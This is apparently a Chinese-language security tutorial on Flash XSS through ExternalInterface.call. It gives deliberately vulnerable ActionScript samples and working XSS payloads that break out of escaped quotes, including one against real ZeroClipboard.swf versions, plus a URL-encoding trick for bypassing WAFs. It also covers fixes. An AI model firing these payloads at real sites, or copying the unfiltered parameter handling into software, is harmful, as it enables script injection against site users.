Flash Xss的前世与今生

我是一条分隔线 >..<

1. swf文件的编译与反编译

1.1 编译

我们知道,.swf文件可直接由.as文件编译生成。

编译方案如下:

如果有任何的报错,google能帮助你。

1.2 反编译

反编译相对编译来说,对环境配置需求较低,只需反编译软件或者在线反编译网站。

比如

2. ExternalInterface.call导致的Flash Xss

ActionScript(以下简称AS)

AS2和AS3都有这个对象,是专门为Flash与JavaScript通信准备的接口。

2.1 Flash的参数传递

Flash中的参数传递如下:

2.2 ExternalInterface.call的第一个参数导致的Flash Xss

官网定义:public static function call(functionName:String, ... arguments)

构造一个存在FlashXss的文件,文件名为FlashXss.as,内容如下。

代码做以下解释:

  1. 类名和文件名必须保持一致才能成功编译
  2. 构造函数名和类名一致。

比如下面的代码,先执行FlashXss函数

package
{
    import flash.display.Sprite;
    import flash.external.ExternalInterface;
       
    public class FlashXss extends Sprite
    {
        public function FlashXss()
        {
            // 定义字符串变量名jsFunction,值从url的movieName获取
            var jsFunction:String = loaderInfo.parameters.movieName;
            // 定义字符串变量名param
            var param:String = "JoyChou";
            ExternalInterface.call(jsFunction, param);
        }
    }
}

编译,访问http://localhost/pentest/xss/FlashXss.swf?movieName=alert,效果如下图

2

2.3 利用ie进行flash xss调试

利用上面的代码和ie进行flash xss的调试,F12打开ie的开发人员工具 => 脚本 => 启动调试 => 全部中断,再访问url即可中断下来。

1

代码:

try { __flash__toXML(alert("JoyChou")) ; } catch (e) { "<undefined/>"; }

上面这段代码是ExternalInterface.call底层代码。

这段代码会先执行alert("JoyChou"),然后将alert("JoyChou")的返回值传入__flash__toXML函数。

继续F11步入__flash__toXML函数,我们可以看到__flash__toXML内部代码,不过这都不重要了,重要是已经执行了alert函数。

function __flash__toXML(value) {
   var type = typeof(value);
    if (type == "string") {
        return "<string>" + __flash__escapeXML(value) + "</string>";
    } else if (type == "undefined") {
        return "<undefined/>";
    } else if (type == "number") {
        return "<number>" + value + "</number>";
    } else if (value == null) {
        return "<null/>";
    } else if (type == "boolean") {
        return value ? "<true/>" : "<false/>";
    } else if (value instanceof Date) {
        return "<date>" + value.getTime() + "</date>";
   } else if (value instanceof Array) {
       return __flash__arrayToXML(value);
   } else if (type == "object") {
       return __flash__objectToXML(value);
   } else {
        return "<null/>"; //???
    }
}

2.4 ExternalInterface.call的第二个参数导致的Flash Xss

代码如下:

package
{
    import flash.display.Sprite;
    import flash.external.ExternalInterface;
       
    public class FlashXss extends Sprite
    {
        public function FlashXss()
        {
            // 定义字符串变量名jsFunction,值从url的movieName获取
            var param:String = loaderInfo.parameters.movieName;
            ExternalInterface.call("console.log", param);
        }
    }
}

当访问,http://localhost/pentest/xss/FlashXss.swf?movieName=test"

对应的底层代码是

try { __flash__toXML(console.log("test\"")) ; } catch (e) { "<undefined/>"; }

此时如果能将双引号绕过,那么就可以任意执行js代码。

当注入代码中含有"符号,被会转义成\"

当注入\",会被转义为\\",这样就变成了

try { __flash__toXML(console.log("test\\"")) ; } catch (e) { "<undefined/>"; }

此时的console.log("test\\""))的第二个引号已经变成了功能双引号,而不是字符串双引号,也就闭合了之前的双引号。

所以最后的payload为:
http://localhost/pentest/xss/FlashXss.swf?movieName=\"));alert(/xss/);}catch(e){}//

4

此时底层代码如下,已经绕过双引号的限制。

try { __flash__toXML(console.log("\\"));alert(/xss/);}catch(e){}//")) ; } catch (e) { "<undefined/>"; }

根据这些原理,常见的flash xss已经可以随意分析了。比如ZeroClipboard.swf,swfupload.swf

3. 分析ZeroClipboard.swf的flash xss

漏洞文件下载地址:https://github.com/JoyChou93/FlashXss/tree/master/ZeroClipboard

ZeroClipboard.swf漏洞版本:1.0.7及以下

首先用反编译工具,将其反编译后,得到ActionScript文件,部分关键内容如下:

public class ZeroClipboard extends flash.display.Sprite
    {
        public function ZeroClipboard()
        {
            var flashvars:Object;

            var loc1:*;
            super();
            stage.scaleMode = flash.display.StageScaleMode.EXACT_FIT;
            flash.system.Security.allowDomain("*");
            flashvars = flash.display.LoaderInfo(this.root.loaderInfo).parameters;
            id = flashvars.id;
            button = new flash.display.Sprite();
            button.buttonMode = true;
            button.useHandCursor = true;
            button.graphics.beginFill(13434624);
            button.graphics.drawRect(0, 0, Math.floor(flashvars.width), Math.floor(flashvars.height));
            button.alpha = 0;
            addChild(button);
            button.addEventListener(flash.events.MouseEvent.CLICK, clickHandler);
            // 此处的id从url获取,并且未做过滤,导致flash xss
            button.addEventListener(flash.events.MouseEvent.MOUSE_OVER, function (arg1:flash.events.Event):*
            {
                flash.external.ExternalInterface.call("ZeroClipboard.dispatch", id, "mouseOver", null);
                return;
            }
            )

下面开始分析,首先Class名为ZeroClipboard,所以先调用ZeroClipboard函数。由于参数id从url获取,并且未做过滤,导致flash xss。

要进入button.addEventListener函数,先要成功创建button,button其中有一个参数为按钮的长、宽。

并且都是从url传入。如果不传这个参数,button自然会创建失败。

button.graphics.drawRect(0, 0, Math.floor(flashvars.width), Math.floor(flashvars.height));

所以,ZeroClipboard.swf的payload为:

ZeroClipboard.swf?id=\"))}catch(e){alert(/XSS/);}//&width=500&height=500

此时对于的底层代码为:

try { __flash__toXML(ZeroClipboard.dispatch("\\"))}catch(e){alert(/XSS/);}//","mouseOver",null)) ; } catch (e) { "<undefined/>"; }

4. 漏洞扫描

flash xss自动化扫描器在我的理解,只能扫.swf文件是否存在,是否存在漏洞,需要人工判断。

如果能自动化判断,麻烦大牛评论下文章,供我学习。

在国内,常使用的swf文件有

5. 漏洞修复

漏洞修复,很简单,下载最新版对应的swf文件即可。

如果是自写的swf,请做好过滤。

6. WAF攻防

waf绕过

flash对于URL解码非常独特

al%A#e%Xrt(docum%A#ent.doma%A#in)等价于alert(ducument.domain)

不过每个swf都有特定的payload,所以waf还是很容易拦截

6. 参考文章

http://www.cnblogs.com/kenkofox/p/3405395.html
http://blog.haohtml.com/archives/5709